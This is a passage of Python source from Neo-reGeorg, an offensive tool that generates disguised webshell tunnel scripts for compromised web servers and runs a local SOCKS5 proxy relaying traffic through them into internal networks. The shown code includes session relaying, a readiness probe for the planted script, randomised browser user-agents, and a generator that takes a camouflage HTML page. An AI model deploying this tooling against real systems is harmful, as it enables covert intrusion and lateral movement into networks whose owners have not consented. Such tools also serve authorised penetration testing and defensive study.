415 | info['FORCEREDIRECT'] = 'FALSE'
416 |
417 | data = encode_body(info)
418 | log.debug("[HTTP] [%s:%d] %s Request (%s)" % (self.target, self.port, info['CMD'], self.mark))
419 |
420 | retry = 0
421 | while True:
422 | retry += 1
423 | try:
424 | response = self.conn.post(self.url_sample(), headers=HEADERS, timeout=timeout, data=data)
425 | second = response.elapsed.total_seconds()
426 | log.debug("[HTTP] [%s:%d] %s Response (%s) => HttpCode: %d, Time: %.2fs" % (self.target, self.port, info['CMD'], self.mark, response.status_code, second))
427 |
428 | rdata = extract_body(response.content)
429 | rinfo = decode_body(rdata)
430 | if rinfo is None:
431 | raise NeoregReponseFormatError("[HTTP] Response Format Error: {}".format(response.content))
432 | else:
433 | if rinfo['STATUS'] != 'OK' and info['CMD'] != 'DISCONNECT':
434 | log.warning('[%s] [%s:%d] Error: %s' % (info['CMD'], self.target, self.port, rinfo['ERROR']))
435 | return rinfo
436 |
437 | # 高并发下,csharp 容易出现 503, 重试即可
438 | log.warning("[HTTP] [%s:%d] [ReTry %d] %s Request (%s) => HttpCode: %d" % (self.target, self.port, retry, info['CMD'], self.mark, response.status_code))
439 |
440 | except requests.exceptions.ConnectionError as e:
441 | log.warning('[HTTP] [{}] [requests.exceptions.ConnectionError] {}'.format(info['CMD'], e))
442 | except requests.exceptions.ChunkedEncodingError as e: # python2 requests error
443 | log.warning('[HTTP] [{}] [requests.exceptions.ChunkedEncodingError] {}'.format(info['CMD'], e))
444 | except NeoregReponseFormatError as e: # python2 requests error
445 | log.warning("[%s] [%s:%d] NeoregReponseFormatError, Retry: No.%d" % (info['CMD'], self.target, self.port, retry))
446 | if retry > MAXRETRY:
447 | raise e
448 |
449 |
450 | def setupRemoteSession(self, target, port):
451 | self.mark = self.session_mark()
452 | self.target = target.encode()
453 | self.port = port
454 |
455 | info = {'CMD': 'CONNECT', 'MARK': self.mark, 'IP': self.target, 'PORT': str(self.port)}
456 |
457 | if '.php' in self.connectURLs[0]:
458 | try:
459 | rinfo = self.neoreg_request(info, timeout=PHPTIMEOUT)
460 | except:
461 | log.info("[CONNECT] [%s:%d] Session mark (%s)" % (self.target, self.port, self.mark))
462 | return self.mark
463 | else:
464 | rinfo = self.neoreg_request(info)
465 |
466 | status = rinfo["STATUS"]
467 | if status == "OK":
468 | log.info("[CONNECT] [%s:%d] Session mark: %s" % (self.target, self.port, self.mark))
469 | return self.mark
470 | else:
471 | return False
472 |
473 |
474 | def closeRemoteSession(self):
475 | if not self.connect_closed:
476 | self.connect_closed = True
477 | try:
478 | self.pSocket.close()
479 | log.debug("[DISCONNECT] [%s:%d] Closing localsocket" % (self.target, self.port))
480 | except:
481 | if hasattr(self, 'target'):
482 | log.debug("[DISCONNECT] [%s:%d] Localsocket already closed" % (self.target, self.port))
483 |
484 | if hasattr(self, 'mark'):
485 | info = {'CMD': 'DISCONNECT', 'MARK': self.mark}
486 | rinfo = self.neoreg_request(info)
487 | if not self.connect_closed:
488 | if hasattr(self, 'target'):
489 | log.info("[DISCONNECT] [%s:%d] Connection Terminated" % (self.target, self.port))
490 | else:
491 | log.error("[DISCONNECT] Connection Terminated")
492 |
493 |
494 | def reader(self):
495 | try:
496 | info = {'CMD': 'READ', 'MARK': self.mark}
497 | n = 0
498 | while True:
499 | try:
500 | if self.connect_closed or self.pSocket.fileno() == -1:
501 | break
502 | rinfo = self.neoreg_request(info)
503 | if rinfo['STATUS'] == 'OK':
504 | data = rinfo['DATA']
505 | data_len = len(data)
506 |
507 | if data_len == 0:
508 | sleep(READINTERVAL)
509 | elif data_len > 0:
510 | n += 1
511 | transferLog.info("[%s:%d] [%s] No.%d <<<< [%d byte]" % (self.target, self.port, self.mark, n, data_len))
512 | while data:
513 | writed_size = self.pSocket.send(data)
514 | data = data[writed_size:]
515 | if data_len < 500:
516 | sleep(READINTERVAL)
517 | else:
518 | break
519 |
520 | except error: # python2 socket.send error
521 | pass
522 | except Exception as ex:
523 | log.exception(ex)
524 | break
525 | finally:
526 | self.closeRemoteSession()
527 |
528 |
529 | def writer(self):
530 | try:
531 | info = {'CMD': 'FORWARD', 'MARK': self.mark}
532 | n = 0
533 | while True:
534 | try:
535 | raw_data = self.pSocket.recv(READBUFSIZE)
536 | if not raw_data:
537 | break
538 | info['DATA'] = raw_data
539 | rinfo = self.neoreg_request(info)
540 | if rinfo['STATUS'] != "OK":
541 | break
542 | n += 1
543 | transferLog.info("[%s:%d] [%s] No.%d >>>> [%d byte]" % (self.target, self.port, self.mark, n, len(raw_data)))
544 | if len(raw_data) < READBUFSIZE:
545 | sleep(WRITEINTERVAL)
546 | except timeout:
547 | continue
548 | except error:
549 | break
550 | except OSError:
551 | break
552 | except Exception as ex:
553 | log.exception(ex)
554 | break
555 | finally:
556 | self.closeRemoteSession()
557 |
558 |
559 | def run(self):
560 | try:
561 | if self.fwd_target:
562 | self.session_connected = self.handleFwd(self.pSocket)
563 | else:
564 | self.session_connected = self.handleSocks(self.pSocket)
565 |
566 | if self.session_connected:
567 | r = Thread(target=self.reader)
568 | w = Thread(target=self.writer)
569 | r.start()
570 | w.start()
571 | r.join()
572 | w.join()
573 | except NeoregReponseFormatError as ex:
574 | log.error('[HTTP] [NeoregReponseFormatError] {}'.format(ex))
575 | except SocksCmdNotImplemented as ex:
576 | log.error('[SOCKS5] [SocksCmdNotImplemented] {}'.format(ex))
577 | except requests.exceptions.ConnectionError as ex:
578 | log.warning('[HTTP] [requests.exceptions.ConnectionError] {}'.format(ex))
579 | except Exception as ex:
580 | log.exception(ex)
581 | finally:
582 | if self.session_connected:
583 | self.closeRemoteSession()
584 |
585 |
586 | def askNeoGeorg(conn, connectURLs, redirectURLs, force_redirect):
587 | # only check first
588 | log.info("[Ask NeoGeorg] Checking if NeoGeorg is ready")
589 | headers = {}
590 | headers.update(HEADERS)
591 |
592 | if INIT_COOKIE:
593 | headers['Cookie'] = INIT_COOKIE
594 |
595 | need_exit = False
596 | try:
597 | log.debug("[HTTP] Ask NeoGeorg Request".format())
598 | if redirectURLs:
599 | info = {'REDIRECTURL': redirectURLs[0]}
600 | if force_redirect:
601 | info['FORCEREDIRECT'] = 'TRUE'
602 | else:
603 | info['FORCEREDIRECT'] = 'FALSE'
604 | data = encode_body(info)
605 | headers.update({'Content-type': 'application/octet-stream'})
606 | response = conn.post(connectURLs[0], headers=headers, timeout=10, data=data)
607 | else:
608 | response = conn.get(connectURLs[0], headers=headers, timeout=10)
609 | log.debug("[HTTP] Ask NeoGeorg Response => HttpCode: {}".format(response.status_code))
610 | if '.php' in connectURLs[0]:
611 | if 'Expires' in response.headers:
612 | expires = response.headers['Expires']
613 | try:
614 | expires_date = datetime.strptime(expires, '%a, %d %b %Y %H:%M:%S %Z')
615 | if mktime(expires_date.timetuple()) < time():
616 | log.warning('[Ask NeoGeorg] Server Session expired')
617 | if 'Set-Cookie' in response.headers:
618 | cookie = ''
619 | for k, v in response.cookies.items():
620 | cookie += '{}={};'.format(k, v)
621 | HEADERS.update({'Cookie' : cookie})
622 | log.warning("[Ask NeoGeorg] Automatically append Cookies: {}".format(cookie))
623 | else:
624 | log.error('[Ask NeoGeorg] There is no valid cookie return')
625 | need_exit = True
626 | except ValueError:
627 | log.warning('[Ask NeoGeorg] Expires wrong format: {}'.format(expires))
628 | except requests.exceptions.ConnectionError:
629 | log.error("[Ask NeoGeorg] NeoGeorg server connection errer")
630 | exit()
631 | except requests.exceptions.ConnectTimeout:
632 | log.error("[Ask NeoGeorg] NeoGeorg server connection timeout")
633 | exit()
634 | except Exception as ex:
635 | log.error("[Ask NeoGeorg] NeoGeorg is not ready, please check URL")
636 | log.exception(ex)
637 | exit()
638 |
639 | if need_exit:
640 | exit()
641 |
642 | if redirectURLs and response.status_code >= 400:
643 | log.warning('[Ask NeoGeorg] Using redirection will affect performance when the response code >= 400')
644 |
645 | data = response.content
646 | data = extract_body(data)
647 |
648 | if BASICCHECKSTRING == data.strip():
649 | log.info("[Ask NeoGeorg] NeoGeorg says, 'All seems fine'")
650 | return True
651 | elif BASICCHECKSTRING in data:
652 | left_offset = data.index(BASICCHECKSTRING)
653 | right_offset = len(data) - ( left_offset + len(BASICCHECKSTRING) )
654 | log.error("[Ask NeoGeorg] NeoGeorg is ready, but the body needs to be offset")
655 | args_tips = ''
656 | if left_offset:
657 | args_tips += ' --cut-left {}'.format(left_offset)
658 | if right_offset:
659 | args_tips += ' --cut-right {}'.format(right_offset)
660 | log.error("[Ask NeoGeorg] You can set the `{}` parameter to body offset".format(args_tips))
661 | exit()
662 | else:
663 | if args.skip:
664 | log.debug("[Ask NeoGeorg] Ignore detecting that NeoGeorg is ready")
665 |
666 | else:
667 | log.warning('[Ask NeoGeorg] Expect Response: {}'.format(BASICCHECKSTRING[0:100]))
668 | log.warning('[Ask NeoGeorg] Real Response: {}'.format(data.strip()[0:100]))
669 | log.error("[Ask NeoGeorg] NeoGeorg is not ready, please check URL and KEY. rep: [{}] {}".format(response.status_code, response.reason))
670 | log.error("[Ask NeoGeorg] You can set the `--skip` parameter to ignore errors")
671 | exit()
672 |
673 |
674 | def extract_body(data):
675 | if args.cut_left > 0:
676 | data = data[args.cut_left:]
677 | if args.cut_right > 0:
678 | data = data[:-args.cut_right]
679 | if args.extract:
680 | match = EXTRACT_EXPR.search(data.decode())
681 | if match:
682 | data = match[1].encode()
683 | return data
684 |
685 |
686 | def choice_useragent():
687 | user_agents = [
688 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3",
689 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16",
690 | "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36",
691 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
692 | "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36",
693 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11",
694 | "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0",
695 | "Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0",
696 | "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0",
697 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0"
698 | ]
699 | return random.choice(user_agents)
700 |
701 |
702 |
703 | banner = r"""
704 |
705 | "$$$$$$'' 'M$ '$$$@m
706 | :$$$$$$$$$$$$$$''$$$$'
707 | '$' 'JZI'$$& $$$$'
708 | '$$$ '$$$$
709 | $$$$ J$$$$'
710 | m$$$$ $$$$,
711 | $$$$@ '$$$$_ Neo-reGeorg
712 | '1t$$$$' '$$$$<
713 | '$$$$$$$$$$' $$$$ version {}
714 | '@$$$$' $$$$'
715 | '$$$$ '$$$@
716 | 'z$$$$$$ @$$$
717 | r$$$ $$|
718 | '$$v c$$
719 | '$$v $$v$$$$$$$$$#
720 | $$x$$$$$$$$$twelve$$$@$'
721 | @$$$@L ' '<@$$$$$$$$`
722 | $$ '$$$
723 |
724 |
725 | [ Github ] https://github.com/L-codes/Neo-reGeorg
726 | """.format(__version__)
727 |
728 | use_examples = r"""
729 | [ Basic Use ]
730 |
731 | ./neoreg.py generate -k
732 | ./neoreg.py -k -u
733 |
734 | [ Advanced Use ]
735 |
736 | ./neoreg.py generate -k --file 404.html
737 | ./neoreg.py -k -u \
738 | --skip --proxy http://127.0.0.1:8080 -vv \
739 | -H 'Authorization: cm9vdDppcyB0d2VsdmU='
740 |
741 | """
742 |
743 | if __name__ == '__main__':
744 | if len(sys.argv) == 1:
745 | print(banner)
746 | print(use_examples)
747 | exit()
748 | elif len(sys.argv) > 1 and sys.argv[1] == 'generate':
749 | del sys.argv[1]
750 | parser = argparse.ArgumentParser(description='Generate neoreg webshell')
751 | parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key.")
752 | parser.add_argument("-o", "--outdir", metavar="DIR", help="Output directory.", default='neoreg_servers')
753 | parser.add_argument("-f", "--file", metavar="FILE", help="Camouflage html page file")
754 | parser.add_argument("-c", "--httpcode", metavar="CODE", help="Specify HTTP response code. When using -r, it is recommended to <400 (default: 200)", type=int, default=200)
755 | parser.add_argument("--read-buff", metavar="Bytes", help="Remote read buffer (default: 513)", type=int, default=513)
756 | parser.add_argument("--max-read-size", metavar="KB", help="Remote max read size (default: 512)", type=int, default=512)
757 | args = parser.parse_args()
758 | else:
759 | parser = argparse.ArgumentParser(description="Socks server for Neoreg HTTP(s) tunneller (DEBUG MODE: -k debug)")
760 | parser.add_argument("-u", "--url", metavar="URI", required=True, help="The url containing the tunnel script", action='append')
761 | parser.add_argument("-r", "--redirect-url", metavar="URL", help="Intranet forwarding the designated server (only jsp(x))", action='append')
762 | parser.add_argument("-R", "--force-redirect", help="Forced forwarding (only jsp -r)", action='store_true')
763 | parser.add_argument("-t", "--target", metavar="IP:PORT", help="Network forwarding Target, After setting this parameter, port forwarding will be enabled")
764 | parser.add_argument("-k", "--key", metavar="KEY", required=True, help="Specify connection key")
765 | parser.add_argument("-l", "--listen-on", metavar="IP", help="The default listening address (default: 127.0.0.1)", default="127.0.0.1")
766 | parser.add_argument("-p", "--listen-port", metavar="PORT", help="The default listening port (default: 1080)", type=int, default=1080)
767 | parser.add_argument("-s", "--skip", help="Skip usability testing", action='store_true')
768 | parser.add_argument("-H", "--header", metavar="LINE", help="Pass custom header LINE to server", action='append', default=[])
769 | parser.add_argument("-c", "--cookie", metavar="LINE", help="Custom init cookies")
770 | parser.add_argument("-x", "--proxy", metavar="LINE", help="Proto://host[:port] Use proxy on given port", default=None)
771 | parser.add_argument("--php-connect-timeout", metavar="S", help="PHP connect timeout (default: {})".format(PHPTIMEOUT), type=float, default=PHPTIMEOUT)
772 | parser.add_argument("--local-dns", help="Use local resolution DNS", action='store_true')
773 | parser.add_argument("--read-buff", metavar="KB", help="Local read buffer, max data to be sent per POST (default: {}, max: 50)".format(READBUFSIZE), type=int, default=READBUFSIZE)
774 | parser.add_argument("--read-interval", metavar="MS", help="Read data interval in milliseconds (default: {})".format(READINTERVAL), type=int, default=READINTERVAL)
775 | parser.add_argument("--write-interval", metavar="MS", help="Write data interval in milliseconds (default: {})".format(WRITEINTERVAL), type=int, default=WRITEINTERVAL)
776 | parser.add_argument("--max-threads", metavar="N", help="Proxy max threads (default: {})".format(MAXTHERADS), type=int, default=MAXTHERADS)
777 | parser.add_argument("--max-retry", metavar="N", help="Proxy max threads (default: {})".format(MAXRETRY), type=int, default=MAXRETRY)
778 | parser.add_argument("--cut-left", metavar="N", help="Truncate the left side of the response body", type=int, default=0)
779 | parser.add_argument("--cut-right", metavar="N", help="Truncate the right side of the response body", type=int, default=0)
780 | parser.add_argument("--extract", metavar="EXPR", help="Manually extract BODY content (eg: NEOREGBODY
)")
781 | parser.add_argument("-v", help="Increase verbosity level (use -vv or more for greater effect)", action='count', default=0)
782 | args = parser.parse_args()
783 |
784 | if args.extract:
785 | if 'NEOREGBODY' not in args.extract:
786 | print('[!] Error extracting expression, `NEOREGBODY` not found')
787 | exit()
788 | else:
789 | expr = re.sub('NEOREGBODY', r'\\s*([A-Za-z0-9+/]*(?:=|==)?|)\\s*', re.escape(args.extract))
790 | EXTRACT_EXPR = re.compile(expr, re.S)
791 |
792 | rand = Rand(args.key)
793 | BLV_L_OFFSET = random.getrandbits(31)
794 |
795 | BASE64CHARS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
796 | if args.key == 'debug':
797 | M_BASE64CHARS = BASE64CHARS
798 | else:
799 | M_BASE64CHARS = list(BASE64CHARS)
800 | rand.base64_chars(M_BASE64CHARS)
801 | M_BASE64CHARS = ''.join(M_BASE64CHARS)
802 |
803 | if ispython3:
804 | maketrans = str.maketrans
805 | else:
806 | from string import maketrans
807 |
808 | EncodeMap = maketrans(BASE64CHARS, M_BASE64CHARS)
809 | DecodeMap = maketrans(M_BASE64CHARS, BASE64CHARS)
810 |
811 | BASICCHECKSTRING = ('').encode()
812 |
813 | if 'url' in args:
814 | # neoreg connect
815 | if args.v > 3:
816 | args.v = 3
817 |
818 | LOCALDNS = args.local_dns
819 |
820 | LEVELNAME, LEVELLOG = LEVEL[args.v]
821 | log.setLevel(LEVELLOG)
822 | transferLog.setLevel(LEVELLOG)
823 | separation = "+" + "-" * 72 + "+"
824 | print(banner)
825 | print(separation)
826 | print(" Log Level set to [%s]" % LEVELNAME)
827 |
828 | USERAGENT = choice_useragent()
829 | PHPTIMEOUT = args.php_connect_timeout
830 |
831 | urls = args.url
832 | redirect_urls = args.redirect_url
833 |
834 | HEADERS = {}
835 | for header in args.header:
836 | if ':' in header:
837 | key, value = header.split(':', 1)
838 | HEADERS[key.strip()] = value.strip()
839 | else:
840 | print("\nError parameter: -H %s" % header)
841 | exit()
842 |
843 | INIT_COOKIE = args.cookie
844 | PROXY = { 'http': args.proxy, 'https': args.proxy } if args.proxy else None
845 |
846 | if args.target:
847 | if not re.match(r'[^:]+:\d+', args.target):
848 | print("[!] Target parameter error: {}".format(args.target))
849 | exit()
850 | print(" Starting Forward [%s:%d] => [%s]" % (args.listen_on, args.listen_port, args.target))
851 | else:
852 | print(" Starting SOCKS5 server [%s:%d]" % (args.listen_on, args.listen_port))
853 |
854 |
855 | print(" Tunnel at:")
856 | for url in urls:
857 | print(" "+url)
858 |
859 | if args.proxy:
860 | print(" Client Proxy:\n "+ args.proxy)
861 |
862 | if redirect_urls:
863 | print(" Redirect to:")
864 | for url in args.redirect_url:
865 | print(" "+url)
866 |
867 | print(separation)
868 | try:
869 | conn = requests.Session()
870 | conn.proxies = PROXY
871 | conn.verify = False
872 | conn.headers['Accept-Encoding'] = 'gzip, deflate'
873 | conn.headers['User-Agent'] = USERAGENT
874 |
875 | servSock_start = False
876 | askNeoGeorg(conn, urls, redirect_urls, args.force_redirect)
877 |
878 | if 'Content-type' not in HEADERS:
879 | HEADERS['Content-type'] = 'application/octet-stream'
880 |
881 | READBUFSIZE = min(args.read_buff, 50) * 1024
882 | MAXTHERADS = args.max_threads
883 | MAXRETRY = args.max_retry
884 | READINTERVAL = args.read_interval / 1000.0
885 | WRITEINTERVAL = args.write_interval / 1000.0
886 |
887 | try:
888 | servSock = socket(AF_INET, SOCK_STREAM)
889 | servSock_start = True
890 | servSock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
891 | servSock.bind((args.listen_on, args.listen_port))
892 | servSock.listen(MAXTHERADS)
893 | except Exception as e:
894 | log.error("[Server Listen] {}".format(e))
895 | exit()
896 |
897 | while True:
898 | try:
899 | sock, addr_info = servSock.accept()
900 | sock.settimeout(SOCKTIMEOUT)
901 | session(conn, sock, urls, redirect_urls, args.target, args.force_redirect).start()
902 | except KeyboardInterrupt as ex:
903 | break
904 | except timeout:
905 | log.error("[SOCKS5] Connect Timeout from {}:{}".format(addr_info[0], addr_info[1]))
906 | if sock:
907 | sock.close()
908 | except OSError:
909 | if sock:
910 | sock.close()
911 | except error:
912 | pass
913 | except Exception as ex:
914 | log.exception(ex)
915 | raise e
916 | except requests.exceptions.ProxyError:
917 | log.error("[HTTP] Unable to connect proxy: %s" % args.proxy)
918 | except requests.exceptions.ConnectionError:
919 | log.error("[HTTP] Can not connect to the web server")
920 | finally:
921 | if servSock_start:
922 | servSock.close()
923 | else:
924 | # neoreg server generate
925 | print(banner)
926 | READBUF = args.read_buff
927 | MAXREADSIZE = args.max_read_size * 1024
928 | outdir = args.outdir
929 | if not os.path.isdir(outdir):
930 | os.mkdir(outdir)
931 | print(' [+] Mkdir a directory: %s' % outdir)
932 |
933 | keyfile = os.path.join(outdir, 'key.txt')
934 | file_write(keyfile, args.key)
935 |
936 | M_BASE64ARRAY = []
937 | for i in range(128):
938 | if chr(i) in BASE64CHARS:
939 | num = M_BASE64CHARS.index(chr(i))
940 | M_BASE64ARRAY.append(num)
941 | else:
942 | M_BASE64ARRAY.append(-1)
943 |
944 | script_dir = os.path.join(ROOT, 'templates')
945 | print(" [+] Create neoreg server files:")
946 |
947 | if args.file:
948 | http_get_content = file_read(args.file)
949 | else:
950 | http_get_content = BASICCHECKSTRING.decode()
951 |
952 | if ispython3:
953 | http_get_content = http_get_content.encode()
954 | neoreg_hello = base64.b64encode(http_get_content)
955 | if ispython3:
956 | neoreg_hello = neoreg_hello.decode()
957 | neoreg_hello = neoreg_hello.translate(EncodeMap)
958 |
959 | for filename in os.listdir(script_dir):
960 | outfile = os.path.join(outdir, filename)
961 | filepath = os.path.join(script_dir, filename)
962 | if os.path.isfile(filepath) and filename.startswith('tunnel.'):
963 | text = file_read(filepath)
964 | text = text.replace(r"NEO, 'All OK'", neoreg_hello)
965 | text = re.sub(r"BASE64 CHARSLIST", M_BASE64CHARS, text)
966 | text = re.sub(r"\bHTTPCODE\b", str(args.httpcode), text)
967 | text = re.sub(r"\bREADBUF\b", str(READBUF), text)
968 | text = re.sub(r"\bMAXREADSIZE\b", str(MAXREADSIZE), text)
969 |
970 | # fix subn bug
971 | text = re.sub(r"\bBLV_L_OFFSET\b", str(BLV_L_OFFSET), text)
972 | text = re.sub(r"\bBLV_L_OFFSET\b", str(BLV_L_OFFSET), text)
973 |
974 | # only jsp/csharp
975 | text = re.sub(r"\bBLVHEAD_LEN\b", str(BLVHEAD_LEN), text)
976 |
977 | # only jsp
978 | text = re.sub(r"BASE64 ARRAYLIST", ','.join(map(str, M_BASE64ARRAY)), text)
979 |
980 | file_write(outfile, text)
981 | print(" => %s/%s" % (outdir, os.path.basename(outfile)))
982 |
983 | print('')
984 |
--------------------------------------------------------------------------------
/templates/tunnel.aspx:
--------------------------------------------------------------------------------
1 | 0
--------------------------------------------------------------------------------